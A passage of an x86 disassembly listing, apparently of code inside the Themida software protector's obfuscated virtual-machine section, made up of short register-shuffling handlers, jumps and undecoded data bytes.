; ---------------------------------------------------------------------------
		db 8Bh
		dd 8950241Ch, 405E0h, 0BB530000h, 4, 0FFAEF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5528C1:				; CODE XREF: Themida_:0054E7A0j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 0ED7B25Eh
		push	ebx
		pop	esi
		mov	ebx, [esp]
		jmp	loc_54A5FB
; ---------------------------------------------------------------------------
		dw 34B8h
		dd 3147716Ch, 58042444h, 6C343558h, 148B4771h, 4EC8324h
		dd 89243C89h, 4C781E7h,	83000000h, 3C8704C7h, 89565C24h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 241C895Ch, 0C3815B54h
		dd 4, 6B7C68h, 24048900h, 4B8h,	0E9C32900h, 0FFFFC32Ch
		dd 0E4C4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552946:				; CODE XREF: Themida_:00550F1Cj
		pop	ecx
		add	ecx, eax
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xchg	ebx, edx
		not	ebx
		xor	edx, ebx
		jmp	loc_54CBE3
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F7010000h, 0FFCD98E9h, 4C52DFFh, 0C301C9E0h
		dd 0E7E95558h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552987:				; CODE XREF: Themida_:00549D01j
		pop	edi
		sub	dword ptr [esp+4], 8921B5Bh
		push	ebx
		mov	ebx, 1D17588Ah
		sub	[esp+8], ebx
		jmp	loc_54EAC2
; ---------------------------------------------------------------------------


loc_55299F:				; CODE XREF: Themida_:005523D3j
		add	esp, 4
		sub	ebx, 15727FA0h
		jmp	loc_54B7F9
; ---------------------------------------------------------------------------


loc_5529AD:				; CODE XREF: Themida_:00554F88j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5555B3
; ---------------------------------------------------------------------------
		db 2Dh
		dd 2A003A06h, 0FFDC0BE9h, 5E9C0FFh, 0AAB25266h,	5A66D100h
		dd 0FFB41BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5529D5:				; CODE XREF: Themida_:0054B598j
		sub	edx, ecx
		sub	edx, 74D95C4Ch
		pop	ecx
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_5529E3:				; CODE XREF: Themida_:005530B8j
		add	dword ptr [edi+20h], 7C05EC8h
		jmp	loc_54F9CC
; ---------------------------------------------------------------------------
		db 1
		dd 0C6815AD6h, 2, 2792E9h, 24048100h, 4, 83242C8Bh, 0E95204C4h
		dd 0FFFFE18Eh, 0A1E95457h, 83FFFFA7h, 5E042404h, 4C681h
		dd 0C6810000h, 4, 0D6CEE956h, 0D059FFFFh, 2BF180E9h, 96E9CF00h
		dd 5AFFFF8Eh, 0FF6DD4E9h, 685358FFh, 3BAFh, 0FF8A62E9h
		dd 61A9BAFFh, 9DE96D15h, 0BBFFFFA9h, 7CE77F86h,	0EBC1EBD1h
		dd 0BE38103h, 8123E073h, 256CA1F3h, 0B9ACE906h,	0E95EFFFFh
		dd 0FFFF7033h
; ---------------------------------------------------------------------------


loc_552A78:				; CODE XREF: Themida_:0054ED2Ej
		mov	esp, [esp]
		push	ecx
		jmp	loc_54BB7D
; ---------------------------------------------------------------------------
		db 1, 0EEh, 5Dh
		dd 8702C683h, 248B2434h, 0B30F6624h, 0E99C2404h, 0FFFF6D7Dh
; ---------------------------------------------------------------------------


loc_552A98:				; CODE XREF: Themida_:0055122Aj
		pop	esi
		xor	esi, eax
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		push	2D1Bh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55567D
; ---------------------------------------------------------------------------
		dd 4C481h, 0EA810000h, 0AF12959h, 0B850D2F7h, 663DB4CEh
		dd 8958C229h, 2434FFD1h, 0E289525Ah, 1C4DBF57h,	0F7817E6Bh
		dd 7E6B1C49h, 0EAE9FA01h, 55FFFFC9h, 0FFC30EE9h, 0E7E68FFh
		dd 48585A4Ah, 6935D8F7h, 0E98077CBh, 0FFFFA337h, 240C8B66h
		dd 4EC81h, 3C890000h, 5EBA6824h, 24890000h, 8387E924h
		dd 248BFFFFh, 0ACD2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B1E:				; CODE XREF: Themida_:0054AEC5j
		add	ecx, eax
		add	ecx, 5037981h
		pop	eax
		sub	ecx, 4
		jmp	loc_552135
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 75Fh, 5C24048Fh,	0FF9134E9h, 242C89FFh
		dd 0FFCB7BE9h, 0A5C581FFh, 8142020Ah, 4ECh, 24148900h
		dd 0B84858BAh, 5AD5017Eh, 0ED81DD29h, 7EB84858h, 0AA5BE56h
		dd 0F5294202h, 0EF295B5Eh, 0FF7D93E9h, 4EC83FFh, 89242C89h
		dd 4EC83E5h, 68243C89h,	4292h, 68240489h, 18D7398Ch, 5C1C0558h
		dd 0A7E92E80h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B9F:				; CODE XREF: Themida_:0054A5E7j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	57F3h
		jmp	loc_551B47
; ---------------------------------------------------------------------------
		db 29h
		dd 10E958C3h, 5BFFFF7Dh, 7177C381h, 0EB012D9Ah,	7177EB81h
		dd 2C8B2D9Ah, 4C48324h,	0D168C329h, 89000077h, 0ABD242Ch
		dd 2925FB43h, 68665DEBh, 89662062h, 60E9241Ch, 1FFFFD5h
		dd 0F96AE9F7h, 0C629FFFFh, 689DC681h, 57580E31h, 0A054EBBFh
		dd 12EF8175h, 0E929681Ch, 0FFFFABCBh, 0E828B3B5h, 240C8B66h
		dd 33A068h, 24348900h, 0FFFA03E9h, 2434FFFFh, 0FF9AE3E9h
		dd 0C8B66FFh, 4EC8124h,	89000000h, 0D5E92434h, 81FFFF9Fh
		dd 0E56C2EEFh, 0EEF816Eh, 89551B74h, 0D3895FFAh, 2C4CE9h
		dd 5A772C00h, 0FF8D9AE9h, 4C781FFh, 87000000h, 248B243Ch
		dd 0E9F1F724h, 0FFFFFAB3h, 77EA8159h, 0E95FFA1Eh, 1D44h
		dd 0FF6B94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552C81:				; CODE XREF: Themida_:0054B08Dj
		pop	ecx
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	edi, [esp]
		jmp	loc_54F169
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0E9h
		dd 19D07C85h, 0FFA886E9h, 2434FFFFh, 0FF9DF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552CA9:				; CODE XREF: Themida_:0054C7CCj
		mov	[esp], eax
		push	edx
		push	35AE0EF5h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	515441F5h
		pop	eax
		jmp	loc_550A3C
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF9C1Ah
; ---------------------------------------------------------------------------


loc_552CD0:				; CODE XREF: Themida_:0054FEB3j
		push	esi
		mov	esi, 0ED02E3Ah
		sub	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 52B1445Dh
		sub	ebx, ecx
		jmp	loc_54DB1E
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 5AF328C0h, 1AFAE9h, 4EC8300h, 0E9243C89h, 0FFFF7737h
; ---------------------------------------------------------------------------


loc_552CFC:				; CODE XREF: Themida_:0054CDA3j
		xchg	esi, [esp]
		pop	esp
		inc	ecx
		push	esi
		mov	esi, 7D961C08h
		jmp	loc_554030
; ---------------------------------------------------------------------------


loc_552D0C:				; CODE XREF: Themida_:0054E1EDj
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 43F21662h
		push	edx
		mov	edx, 34F16E37h
		or	ebx, edx
		jmp	loc_54D125
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8704C483h, 4BE92404h, 29000010h, 243C8BFEh, 4C481h
		dd 0C6810000h, 6EE0349Bh, 6D1BD55h, 0EDD10CA8h,	0EA2F581h
		dd 0C14572C6h, 0ED8106EDh, 87A23417h, 0FFCD76E9h, 0BA5255FFh
		dd 33811C6Bh, 15E0E9h, 23366800h, 3C890000h, 2474FF24h
		dd 243C8B04h, 4C481h, 22E90000h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552D8F:				; CODE XREF: Themida_:005510A1j
		push	ebp
		mov	ebp, 294C0737h
		jmp	loc_54EB8A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835F24h, 4EEE8104h, 0E92D5764h, 0FFFFCE16h
; ---------------------------------------------------------------------------


loc_552DAC:				; CODE XREF: Themida_:00552870j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_549815
; ---------------------------------------------------------------------------
		dw 483h
		dd 348B0424h, 5A545224h, 4C281h, 0C2810000h, 4,	5C241487h
		dd 4C681h, 0C6810000h, 2, 31243433h, 34332434h,	24248B24h
		dd 9C242CD2h, 0FF6A24E9h, 80C6FEFFh, 0F3281DF6h, 805A665Ah
		dd 0C300A0EBh, 80A0C380h, 5DE964EBh, 81FFFFDBh,	4A6D57C5h
		dd 5DEB2949h, 439F68h, 0ABC1E900h, 15AFFFFh, 0AF42E9F1h
		dd 0C281FFFFh, 20870123h, 0E95AD329h, 0B9Bh
; ---------------------------------------------------------------------------


loc_552E34:				; CODE XREF: Themida_:0054C9B1j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_54E77A
; ---------------------------------------------------------------------------


loc_552E40:				; CODE XREF: Themida_:00554F6Bj
		push	esi
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_551A2F
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24143124h, 0E9241433h, 0FFFFB7F7h, 14E9D6F7h, 81FFFF7Eh
		dd 936863E2h, 1EEA8178h, 1588060h, 34875AD6h, 32E95C24h
		dd 89FFFF8Eh, 4BB241Ch,	0E9000000h, 0FFFFEBE2h,	148BD031h
		dd 5B545324h, 4C381h, 0C3830000h, 0C910E904h, 5751FFFFh
		dd 69CE9h, 0C68100h, 0E968DF2Ch, 0FFFF7419h, 138D68h, 240C8900h
		dd 0AE2D11B9h, 0DBDE932h, 0EC830000h, 24248904h, 4240481h
		dd 59000000h, 0FF77F0E9h, 0F58955FFh, 1307E9h, 0FEFA8800h
		dd 66D788CAh, 2EB1515Ah, 0FFFAD0E9h, 0EE8146FFh, 0C5CF062Ch
		dd 9FE9F501h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552F03:				; CODE XREF: Themida_:0055456Ej
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_54F8F5
; ---------------------------------------------------------------------------
		dd 0BA52595Dh, 2, 1B0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_552F25:				; CODE XREF: Themida_:00549BE0j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 3D814E90h
		pop	esi
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54A882
; ---------------------------------------------------------------------------


loc_552F3B:				; CODE XREF: Themida_:00549EC3j
		push	1DB0h
		mov	[esp], esi
		jmp	loc_54E568
; ---------------------------------------------------------------------------


loc_552F48:				; CODE XREF: Themida_:00551081j
		mov	ebp, esp
		push	esi
		mov	esi, 131B41ADh
		shl	esi, 3
		not	esi
		sub	esi, 6725F293h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_54BB19
; ---------------------------------------------------------------------------


loc_552F66:				; CODE XREF: Themida_:00550E3Dj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54B2F5
; ---------------------------------------------------------------------------


loc_552F70:				; CODE XREF: Themida_:0054D7EBj
		add	ecx, 500DF207h
		mov	edi, ecx
		pop	ecx
		sub	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54B806
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54C997
; ---------------------------------------------------------------------------
		db 1
		dd 0D0EF81CFh, 8B0A4977h, 0C481240Ch, 4, 2B850h, 3FE90000h
		dd 89FFFFDCh, 0BFE9241Ch, 8100001Ah, 0FFFFFFEFh, 5BA52FFh
		dd 0C135A31Bh, 814A04EAh, 0E09D4CAh, 7EF28121h,	1C7BFADh
		dd 0FD015AD7h, 4EC815Fh, 89000000h, 4BE2434h, 1000000h
		dd 2C875EF5h, 89535C24h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 2434FF5Ch, 81240C8Bh, 4C4h, 0E6895600h, 4C681h, 9CE90000h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55302B:				; CODE XREF: Themida_:0054EECAj
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_554592
; ---------------------------------------------------------------------------
		db 68h
		dd 45EE7147h, 0F2BBE958h, 8966FFFFh, 0A768240Ch, 0E900001Ah
		dd 0FFFFD519h
; ---------------------------------------------------------------------------


loc_55305C:				; CODE XREF: Themida_:0054B9E5j
		add	[esp+4], edx
		pop	edx
		pop	eax
		sub	eax, 3B4E7579h
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_54A428
; ---------------------------------------------------------------------------


loc_553076:				; CODE XREF: Themida_:0054BA70j
		not	ebx
		inc	ebx
		push	edi
		mov	edi, 4E105A0Bh
		not	edi
		inc	edi
		jmp	loc_54AE33
; ---------------------------------------------------------------------------


loc_553087:				; CODE XREF: Themida_:0054C07Dj
		pop	ebp
		shl	edx, 8
		jmp	loc_5539A1
; ---------------------------------------------------------------------------


loc_553090:				; CODE XREF: Themida_:0054A91Bj
		dec	edi
		not	edi
		push	eax
		mov	eax, 0
		sub	eax, edi
		mov	edi, eax
		jmp	loc_54D70E
; ---------------------------------------------------------------------------


loc_5530A2:				; CODE XREF: Themida_:005517D2j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [edi+20h]
		jmp	loc_5529E3
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0C681E689h, 4, 0C6B85057h, 0E947F544h, 0FFFFF4EDh
		dd 4C281h, 63E90000h, 1FFFFA3h,	8F39E9C1h, 0F731FFFFh
		dd 0CB37E95Eh, 8B66FFFFh, 8957240Ch, 21B951E7h,	0C141B978h
		dd 0B16808E9h, 0E9000062h, 0FFFFAD2Ah, 0F7DFF75Bh, 202BE9D7h
		dd 0C8B0000h, 4C48324h,	0FFF91AE9h, 240489FFh, 11AB4BB8h
		dd 8BC20160h, 0DDE92404h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553133:				; CODE XREF: Themida_:0054C1F5j
		push	4E3433D8h
		pop	esi
		shr	esi, 1
		not	esi
		inc	esi
		sub	esi, 0D8E5E613h
		mov	edi, esi
		jmp	loc_551515
; ---------------------------------------------------------------------------


loc_55314B:				; CODE XREF: Themida_:005553C5j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5ACA09A2h
		jmp	loc_54D94C
; ---------------------------------------------------------------------------


loc_553162:				; CODE XREF: Themida_:0055357Bj
		add	ebx, edx
		jmp	loc_5523D0
; ---------------------------------------------------------------------------
		db 32h,	3Ch, 24h
		dd 0E9243C30h, 0FFFFDABEh, 0E95FF801h, 0FFFFBF78h, 0C581E589h
		dd 4, 4ED81h, 2C870000h, 8EE95C24h, 87FFFFFFh, 895C241Ch
		dd 0FE9240Ch, 59FFFF67h, 0AEE9CB01h, 0C0000017h, 0E1C007E1h
		dd 0AC18003h, 0FFE63CE9h, 4BEFFh, 20E90000h, 66FFFF6Eh
		dd 67FAE951h, 8B66FFFFh, 0E9532404h, 15CCh, 9D1C77FFh
		dd 0D3665966h, 0E99C2414h, 0FFFFC710h, 0E8F0E950h, 6858FFFFh
		dd 4AC4h, 52241C89h, 1CB7BF57h,	0CF811BF7h, 2359071Fh
		dd 3CE9D7F7h, 0FFFFFFFAh, 83592434h, 5BE904C4h,	0B9FFFFC2h
		dd 452A3C0Ch, 0E903E1C1h, 0FFFFC5E8h, 9D1C77FFh, 1CD25966h
		dd 2AE99C24h, 0B9FFFF6Ah, 48576FFAh, 20A9E9h, 245C0100h
		dd 3C8B5B04h, 4C48124h,	0E9000000h, 0FFFFF724h,	0A30F665Ch
		dd 0E99C2404h, 0FFFF65C1h, 8B5AD488h, 0C481241Ch, 4, 0EA80AEB2h
		dd 80E200DDh, 15E9DDC2h, 8BFFFFA0h, 0C483240Ch,	0DFD9E904h
		dd 0ED81FFFFh, 29EA56E9h, 424EE581h, 0BE564C2Fh, 0D9C3BBF4h
		dd 315EF529h, 8E95DE8h,	5DFFFF9Eh, 8B24048Fh, 8B662424h
		dd 8CE92404h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5532A7:				; CODE XREF: Themida_:0054A4D1j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_5532BF:				; CODE XREF: Themida_:0054BD68j
		sub	[esp+4], edx
		jmp	loc_54A964
; ---------------------------------------------------------------------------
		dd 46E9028Fh, 80FFFF65h, 0C3002CC3h, 0FFBB93E9h, 12C380FFh
		dd 0D8289A04h, 0FFE62CE9h, 0EAE981FFh, 814A7A5Bh, 0D88366F1h
		dd 25EA8170h, 0E95F9D14h, 0FFFF84E8h, 471BB53h,	0DA3118B0h
		dd 1A93E9h, 4E9C100h, 0DFD1F181h, 0CB292962h, 0FFD7CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553319:				; CODE XREF: Themida_:0054C9B7j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 6
		sub	esp, 4
		jmp	loc_54A3C1
; ---------------------------------------------------------------------------


loc_553337:				; CODE XREF: Themida_:0054D9B3j
		sub	ecx, ebp
		pop	ebp
		add	ecx, 889C64Dh
		add	ebx, ecx
		jmp	loc_5504E3
; ---------------------------------------------------------------------------
		db 81h
		dd 46608EEFh, 51CF0119h, 46608EB9h, 59CF0119h, 592434FFh
		dd 0E904C483h, 1245h, 240C8B66h, 685B5453h, 4E66h
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54BAEA
; ---------------------------------------------------------------------------
		dd 1BFFE954h, 0E95D0000h, 0FFFFEED3h, 8005E1C0h, 0CA30DEC1h
		dd 0FFF3A3E9h, 4C781FFh, 53000000h, 4BBh, 5BDF0100h, 0FFD88FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5533B5:				; CODE XREF: Themida_:0054C9F1j
		push	4
		jmp	loc_553465
; ---------------------------------------------------------------------------
		db 0BAh
		dd 63C76737h, 4245431h,	0F3815B5Ah, 63C76737h, 5624148Bh
		dd 0C681E689h, 4, 0FF69E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5533E1:				; CODE XREF: Themida_:00551F5Cj
		pop	dword ptr [esp]
		jmp	loc_54BD76
; ---------------------------------------------------------------------------


loc_5533E9:				; CODE XREF: Themida_:0054F465j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_5533F3:				; CODE XREF: Themida_:0054C19Bj
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_551FEA
; ---------------------------------------------------------------------------


loc_55340D:				; CODE XREF: Themida_:0054CBE5j
		xor	edx, ebx
		push	eax
		push	edx
		push	dword ptr [esp]
		pop	eax
		push	39CFh
		jmp	loc_54C31A
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0B95156EBh, 46147A9Fh, 5BD7E981h, 8149303Fh,	0AD710AE9h
		dd 81D9F70Bh, 0D51A5E9h, 2DC1817Ah, 51FB5E31h, 0E6C1595Eh
		dd 0B9514605h, 41936081h, 0E181D9F7h, 17C24CC3h, 0F19F181h
		dd 0CE015901h, 0FF7F2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553465:				; CODE XREF: Themida_:005533BAj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54B739
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFBCE1h
; ---------------------------------------------------------------------------


loc_553474:				; CODE XREF: Themida_:00549BA6j
		sub	eax, esi
		push	ebp
		mov	ebp, 50807E5Bh
		sub	eax, 28FD0B58h
		sub	eax, ebp
		add	eax, 28FD0B58h
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 5B3A11B0h
		jmp	loc_54D1F1
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 0F6D9F6BBh, 67E980D9h, 0E96DC180h, 0FFFFED7Eh, 4EC8352h
		dd 81240C89h, 8EF2404h,	27E91684h, 81FFFFABh, 2353F0EEh
		dd 0F3015A01h, 4EB815Eh, 53000000h, 42474FFh, 24048F5Bh
		dd 2404895Ch, 0FF8F46E9h, 240C89FFh, 7CD168h, 241C8900h
		dd 183AE0BBh, 8BD9895Ah, 71E9241Ch, 0BE000009h,	436C0D2Fh
		dd 348BF201h, 4C48124h,	0E9000000h, 1126h, 8C3AE956h, 3C89FFFFh
		dd 2789BF24h, 0BD554D50h, 66325B90h, 52C4EF81h,	0EF012F67h
		dd 52C4C781h, 0F75D2F67h, 2FF868DFh, 2C890000h,	717AE924h
		dd 0E389FFFFh, 0FFAB9CE9h, 0AB951FFh, 530DDB7Fh, 0F84A0FBBh
		dd 0E9D90963h, 0FFFFEB4Bh, 565D5455h, 3AAC6851h, 0C8B708Ah
		dd 4C48124h, 0E9000000h, 0FFFF8CDDh
; ---------------------------------------------------------------------------


loc_553574:				; CODE XREF: Themida_:0054FCB8j
		dec	edx
		sub	edx, 0D74F8D6Fh
		jmp	loc_553162
; ---------------------------------------------------------------------------


loc_553580:				; CODE XREF: Themida_:0054E918j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		push	23BC7AB6h
		pop	ecx
		sub	ecx, 5F2008Eh
		neg	ecx
		jmp	loc_55404C
; ---------------------------------------------------------------------------


loc_5535A3:				; CODE XREF: Themida_:00553DDDj
		pop	edx
		sub	ecx, 0FFFFFFFFh
		push	9DAh
		mov	[esp], ebx
		jmp	loc_550192
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FE798B05h, 6253E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5535C2:				; CODE XREF: Themida_:0054E21Ej
		add	ecx, 2CF5014Fh
		push	edx
		mov	edx, 1D030654h
		xor	ecx, edx
		pop	edx
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	ebp, 432C7CEBh
		jmp	loc_54B83C
; ---------------------------------------------------------------------------


loc_5535F0:				; CODE XREF: Themida_:0054F0E2j
		add	ebx, 0FFFFFFFFh
		add	ebx, 0E087CCDAh
		sub	ecx, ebx
		pop	ebx
		mov	[ecx], al
		pop	ecx
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_553607:				; CODE XREF: Themida_:0054BD8Bj
		jmp	loc_549815
; ---------------------------------------------------------------------------
		dd 0E951D1F6h, 0FFFFBB6Ah, 0E9555F58h, 0FFFFA7E1h
; ---------------------------------------------------------------------------


loc_55361C:				; CODE XREF: Themida_:0054D3D9j
		xchg	ebp, [esp]
		jmp	loc_54A43A
; ---------------------------------------------------------------------------


loc_553624:				; CODE XREF: Themida_:005500B6j
		add	edi, edx
		add	edi, 5E0D0A31h
		add	edi, 4F8A32F1h
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		jmp	loc_5553B6
; ---------------------------------------------------------------------------
		db 0BAh, 0D7h, 4Bh
		dd 0F2E91CC4h, 5AFFFFB0h, 8904EC83h, 4B9240Ch, 29000000h
		dd 0B7E959C8h, 51FFFF68h, 0AB7478B9h, 14B85076h, 486E9E60h
		dd 0D46F400Dh, 798F3528h, 0C1011023h, 0FFBDAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553685:				; CODE XREF: Themida_:0054D683j
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 329C1244h
		add	ebp, ebx
		add	ebp, 329C1244h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54AFA6
; ---------------------------------------------------------------------------
		db 81h
		dd 0F8876AEFh, 0EAE5E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5536AE:				; CODE XREF: Themida_:0054DADCj
		push	2D41h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	22B6h
		mov	[esp], ecx
		jmp	loc_54F777
; ---------------------------------------------------------------------------
		db 1, 0DFh, 0E9h
		dd 0FFFFCABCh
; ---------------------------------------------------------------------------


loc_5536D0:				; CODE XREF: Themida_:00554AEAj
		xor	eax, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_550FB6
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0C7C18002h, 0E980F928h, 241C8BC7h, 8F83E953h, 0EB80FFFFh
		dd 148B66E8h, 2C48324h,	0FFC0B60Fh, 34FF8734h, 2434FF24h
		dd 4C48158h, 56000000h,	4EC81h,	8F540000h, 0F4E92404h
		dd 83FFFFF2h, 0C58304C4h, 242C8704h, 0D324248Bh, 0DEE92424h
		dd 31FFFF60h, 0B9515FF8h, 6D1561A9h, 0EFE9CB29h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553747:				; CODE XREF: Themida_:00549D41j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_550769
; ---------------------------------------------------------------------------


loc_553758:				; CODE XREF: Themida_:0054F5D8j
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_54DD4F
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C483240Ch, 672D6804h, 2C890000h,	576B6824h
		dd 24890000h, 24048124h, 4, 8B2434FFh, 0C483242Ch, 60E95304h
		dd 5DFFFFACh, 4C581h, 0C5830000h, 242C8704h, 0C0B60F5Ch
		dd 0FFEA09E9h, 243C8BFFh, 0FFDDB8E9h, 5BDD01FFh, 0E95DE801h
		dd 0FFFFF91Bh, 0BD9CE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5537CE:				; CODE XREF: Themida_:005502ECj
		or	ebx, ebx
		jnz	loc_54EA6A
		push	5C92h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	esi
		mov	esi, 5C4B4DD5h
		mov	ebp, esi
		pop	esi
		jmp	loc_5517B5
; ---------------------------------------------------------------------------
		dw 0CA80h
		dd 0D0E2D0F3h, 14F280E2h, 0FF76EFE9h, 4B850FFh,	0E9000000h
		dd 0FFFFE7C2h, 445EB951h, 0D9F712AEh, 2E35E181h, 0F181163Ah
		dd 75B878A3h, 10B1E981h, 0C8012BF2h, 4ABB5359h,	2D392C2Fh
		dd 30953BCDh, 0CD05D801h, 5B30953Bh, 4A562D2Dh,	3D9F0579h
		dd 0B42D2B35h, 29405609h, 9B405D8h, 9F2D4056h, 0E92B353Dh
		dd 0FFFF9109h, 242C335Ch, 33242C31h, 248B242Ch,	240C8924h
		dd 0FF5FA0E9h, 2DF801FFh, 1A5565C4h, 0FFBC3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553881:				; CODE XREF: Themida_:00554CE5j
		push	ebp
		push	eax
		mov	eax, 54853AB9h
		mov	ebp, eax
		pop	eax
		sub	ebx, ebp
		jmp	loc_54EC72
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0F57B1F77h, 201DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55389D:				; CODE XREF: Themida_:005516F8j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_549EAC
; ---------------------------------------------------------------------------
		dw 0E888h
		dd 0E9C78859h, 0FFFFA225h
; ---------------------------------------------------------------------------


loc_5538BC:				; CODE XREF: Themida_:00549981j
		mov	[esp], ebp
		jmp	loc_54D787
; ---------------------------------------------------------------------------
		dd 24048B66h, 22C668h, 24348900h, 0DF685E54h, 89000074h
		dd 5357242Ch, 0DE4823BBh, 0B2D2E95Dh, 0FB01FFFFh, 6288E950h
